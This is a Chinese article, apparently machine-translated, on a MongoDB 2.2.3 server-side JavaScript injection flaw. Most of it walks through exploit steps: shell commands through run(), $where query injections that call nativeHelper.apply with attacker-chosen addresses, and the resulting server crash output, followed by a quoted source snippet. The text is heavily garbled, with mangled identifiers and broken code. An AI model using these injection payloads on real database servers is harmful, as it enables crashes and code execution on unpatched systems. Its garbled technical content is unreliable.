#106avascript注射修复MongoDB服务器端方案
核心提示:agixid,安全研究员发现在mondb数据库2.2.3版本的安全漏洞,并指出利用载荷Metasploit开发。该漏洞主要mondb不当使用蜘蛛…安全研究人员发现agixid的mondb数据库2.2.3版本的安全漏洞表明,Metasploit的发展与有效载荷。缺陷是主要mondb的不当使用# 106avascript SpiderMonkey的nativehelper功能,导致缓冲区溢出注入代码或执行任意代码。
以下是研究人员所作的一些分析。
首先,尝试一些服务器端# 106avascript注入MonDB,并试图运行一个shell。
>运行(uname
3月25日太阳07:09:49壳:启动程序
sh1838 | Linux周一2.6.32-5-686 # 1 SMP 9月23日太阳09:49:36 i686 GNU / Linux 2012 UTC
零
下面的命令只能在一个客户端上有效
> > db.my_collection.find({ $其中:跑(' ')})
错误:{
$ :$函数调用中的错误:JS错误:referenceerror:跑是不是。
代码:10071
}
研究人员继续尽最大努力。
>运行
函数(){
返回nativehelper.apply(run_,参数);
}
运行的函数,直接调用nativehelper.apply(run_,uname
> db.my_collection.find({ $其中:nativehelper.apply(run_,{uname
错误:{
$ :$函数调用中的错误:JS错误:referenceerror:run_不是。
代码:10071
}
使用关联数组来使用服务器端
({ $其中:nativehelper.apply > db.my_collection.find({X:135246144 } {uname
3月25日太阳07:15:26 dbclientcursor::init()失败
3月25日太阳07:15:26查询失败:sthack.my_collection { $其中:nativehelper.apply({X:135246144 },uname
错误:执行查询失败:失败
3月25日太阳07:15:26尝试重新连接到127.0.0.1:27017
3月25日太阳07:15:26重新127.0.0.1:27017失败,无法连接到服务器127.0.0.1:27017
结果显示:服务器崩溃了!(崩溃)
看看源代码
路径: / /月。SRC /脚本/ engine_spidermonkey.cpp
jsbool native_helper(jscontext * CX,jsobject * OBJ,uintn argc、argv jsval * *,jsval区间){
{试
转换器C(CX);
nativefunction功能= reinterpret_cast(
static_cast(c.getnumber(obj,X))))
void *数据= reinterpret_cast(
static_cast(c.getnumber(obj,Y))))
验证(函数);
bsonobj一;
如果(argc > 0){
bsonobjbuilder args;
对于(uintn i = 0;i < argc;+ +我){
C.append(args,args.numstr(我),argv {我});
}
a args.obj();
}
bsonobj出来;
{试
函数(数据);
}
catch(STD::异常E){
原函数的函数将被调用x:135246144到# 106avascript对象没有任何检查。
({ $其中:nativehelper.apply > db.my_collection.find({x:0x31337 } {uname
3月25日太阳07:20:03无效的访问地址:0x31337线程:conn1
3月25日太阳07:20:03 T信号:11(分割故障)。
mondb已经发布的新版本2.4.1修复漏洞和下载地址